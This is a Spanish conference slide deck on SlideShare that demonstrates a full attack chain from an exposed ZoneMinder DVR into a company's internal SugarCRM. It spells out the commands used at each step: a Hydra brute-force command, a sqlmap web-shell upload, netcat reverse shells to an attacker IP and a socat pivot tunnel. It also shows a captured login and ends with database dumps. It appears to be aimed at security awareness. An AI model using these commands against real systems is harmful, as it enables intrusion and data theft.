Diese Präsentation wurde erfolgreich gemeldet.
Die SlideShare-Präsentation wird heruntergeladen. ×

Desde el DVR hasta la cocina

Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Nächste SlideShare
Workshop Seguridad Wireless
Workshop Seguridad Wireless
Wird geladen in …3
×

Hier ansehen

1 von 50 Anzeige
Anzeige

Weitere Verwandte Inhalte

Diashows für Sie (20)

Ähnlich wie Desde el DVR hasta la cocina (20)

Anzeige

Aktuellste (20)

Desde el DVR hasta la cocina

  1. 1. Desde el DVR hasta la cocina Daniel Fernandez Rodriguez Efrén Díaz Gomez
  2. 2. Daniel Fernandez Rodriguez Senior Cyber Security Architect @dj_thd https://www.linkedin.com/in/dfrtenerife/ Efrén Díaz Gomez IT Security Analyst @elefr3n https://www.linkedin.com/in/efren-diaz-gomez/
  3. 3. ¿A quién interpretamos? Dos hackers que se venden al mejor postor ¿Quién es el cliente? El dueño de una empresa de desarrollo de software ¿El objetivo? Una empresa de su competencia ¿Qué tenemos? 87.113.6.72
  4. 4. Comenzamos con un Nmap y encontramos dos puertos abierto con http
  5. 5. Accedemos a la IP por el 80 y nos encontramos con un firewall
  6. 6. Accedemos a la IP por el 8080 y nos encontramos con un login
  7. 7. Buscamos en Google...
  8. 8. Vemos que se trata de un sistema de DVR open source
  9. 9. Buscamos CVE...
  10. 10. Nos centraremos en este, es reciente y de una alta gravedad
  11. 11. Example Url:http://target.com/zm/index.php Parameter: limit (POST) Type: stacked queries Title: MySQL > 5.0.11 stacked queries (SELECT - comment) Payload: view=request&request=log&task=query&limit=100;(SQLI)OQkj)#&minTime=1466674406.084 434 Datos de la inyeción SQL:
  12. 12. Payload: view=request&request=log&task=query&limit=100;(SQLI)#&minTime=1466674406.084434 Parece que el CVE esta mal, y se trata de una vulnerabilidad estando autenticado, necesitaremos conseguir credenciales de acceso para poder explotarla...
  13. 13. THC Hydra Optamos por hacer un ataque de fuerza bruta con Hydra
  14. 14. Hydra 87.113.6.72 -S 8080 -L users.txt -P passwords.txt http-post-form "/zm/index.php:action=login&view=postlogin&postLoginQuery=&username=^USER^&password=^PASS^:postLoginQuery" Elaboramos el comando con los parámetros correctos tras ver el formulario
  15. 15. Conseguimos unas credenciales para acceder al DVR
  16. 16. Ya estamos dentro, vamos a echar un vistazo a las cámaras
  17. 17. Ya estamos dentro, vamos a echar un vistazo a las cámaras
  18. 18. Ya estamos dentro, vamos a echar un vistazo a las cámaras
  19. 19. Una vez autenticados volvemos a probar la inyeccion pasando la cookie de session al sqlmap y vemos que ya tenemos inyección, y además que el servicio mysql esta con root !
  20. 20. Nos fijamos en una tabla llamada Logs donde encontramos el path /usr/share/zoneminder/www/
  21. 21. Ahora que tenemos el path, y que siendo root el mysql puede escribir ficheros, vamos a subir un script en PHP con el que poder ejecutar comandos. Lo haremos añadiendo al sqlmap los parametros: --file-write shell.php ←Nuestro archivo local --file-dest /usr/share/zoneminder/www/cmd.php ←Ruta donde lo queremos subir en la máquina
  22. 22. Ya tenemos ejecución de comandos en la máquina del DVR
  23. 23. Vamos a por el reverse shell !
  24. 24. Vamos a por el reverse shell ! http://87.113.6.72:8080/zm/cmd.php?command=nc -e /bin/sh 10.18.0.8 1337
  25. 25. Vamos a por el reverse shell ! http://87.113.6.72:8080/zm/cmd.php?command=nc -e /bin/sh 10.18.0.8 1337
  26. 26. Vamos a por el reverse shell ! http://87.113.6.72:8080/zm/cmd.php?command=nc -e /bin/sh 10.18.0.8 1337
  27. 27. Ahora que estamos dentro del DVR comenzamos analizando la red
  28. 28. Realizamos un escaneo a la red con Nmap
  29. 29. Vemos que la máquina 192.168.1.3 parece interesante debido a su hostname y que tiene el puerto 80 abierto, lo que parece ser una aplicación web de gestión interna. Tenemos el problema de que como solo esta abierto hacia fuera el DVR no podemos acceder via http a esta máquina, ahora vamos a crear un tunel con socat para poder acceder via http a esta máquina desde fuera saltándonos el firewall.
  30. 30. Lanzamos en nuestra máquina un socat escuchando el puerto 1338 # socat tcp-listen:1338,reuseaddr,fork tcp-listen:8001,reuseaddr,retry=1 Lanzamos en el DVR un socat desde el CRM a nuestra máquina: # socat -t1 tcp:192.168.1.3:80,forever,intervall=1,fork tcp:109.51.56.213:1338
  31. 31. http://localhost:800 1 Ya tenemos acceso al CRM de la intranet, vemos que se trata de un Sugar CRM
  32. 32. Desconocemos la versión del CRM y buscando CVE vemos que no hay ninguno desde 2011. Vamos a sacar usuarios del DVR y ver si alguno coincide las credenciales con las del CRM.
  33. 33. Volvemos a la base de datos del DVR, y sacamos los posibles usuarios y hashes....
  34. 34. Conseguimos acceso: kazjur @ Zs2CTW
  35. 35. Nos dirijimos a la página de “About” y obtenemos la versión, la cual es 6.5.18
  36. 36. Buscamos en google y encontramos una vulnerabilidad que no tiene CVE registrado
  37. 37. La probamos y funciona perfecto, aquí tenemos toda la información del phpinfo()
  38. 38. Ahora haremos una reverse shell desde la máquina del CRM hacia nuestra máquina. system('nc -e /bin/sh [IP] [PORT]') Parece que de momento no tenemos ningún exploit para el kernel
  39. 39. Listamos los archivos y nos centramos en el config.php
  40. 40. Ahora vamos a conectarnos al MySQL a ver que hay...
  41. 41. Para poder usar el cliente mysql necesitamos una shell interactiva. Primero cargamos el /bin/bash con python: python -c "import pty; pty.spawn('/bin/bash')" Dejamos la reverse shell en segundo plano_ ctrl+z Y por ultimo ejecutamos: stty -icanon -echo -isig && fg; stty sane
  42. 42. Conectamos al MySQL Echamos un ojo a las bases de datos
  43. 43. Hacemos un dump con todas las bases de datos...
  44. 44. Hacemos un dump con todas las bases de datos...
  45. 45. Conclusión En esta exposición hemos dejado claro lo peligroso que puede ser dejar un dispositivo IoT abierto al exterior, y como desde el y con una serie de vulnerabilidades y faltas de politicas de seguridad en una empresa hemos podido acceder internamente a la red y además pivotar entre maquinas y acabar robando todo tipo de datos. Tambien cabe decir que mientras hemos preparado esta exposición nos hemos topado con una serie de vulnerabilidades en el Zoneminder que aún no hemos publicado y por tanto son 0-days, y de las cuales una de ellas se ha utilizado en la presente demostración. Estos son los tipos de vulnerabilidades encontradas: -Inyección SQL -Authentication Bypass -Remote Command Execution
  46. 46. -FIN- Gracias por vuestra atención y asistencia

×